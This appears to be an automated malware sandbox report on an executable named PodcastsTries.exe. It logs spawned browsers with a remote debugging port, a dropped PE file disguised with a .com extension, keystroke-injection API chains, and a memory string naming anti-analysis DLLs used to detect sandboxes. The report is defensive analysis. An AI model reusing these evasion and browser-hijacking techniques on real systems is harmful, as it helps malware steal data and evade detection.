Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2236,i,6734849523328560890,2082883044191278633,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2644,i,11626362328839299317,9747645851488831929,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2052,i,17749502471063055911,16474361137930384879,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2412,i,5564331809908688110,6573540988472131423,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6356 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\PodcastsTries.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: PodcastsTries.exe

Static file information: File size 1259108 > 1048576

Source: PodcastsTries.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PodcastsTries.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: PodcastsTries.exe

Static PE information: real checksum: 0x1372e1 should be: 0x135a54

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001802D8 push cs; retn 0017h	12_2_00180318
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00150DE6 push ecx; ret	12_2_00150DF9
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0014DC7C push AA0018CFh; iretd	12_2_0014DC87

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run			Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001C26DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		12_2_001C26DD
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0014FC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		12_2_0014FC7C

Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PodcastsTries.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_12-103951

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

API coverage: 3.8 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 7860

Thread sleep count: 39 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
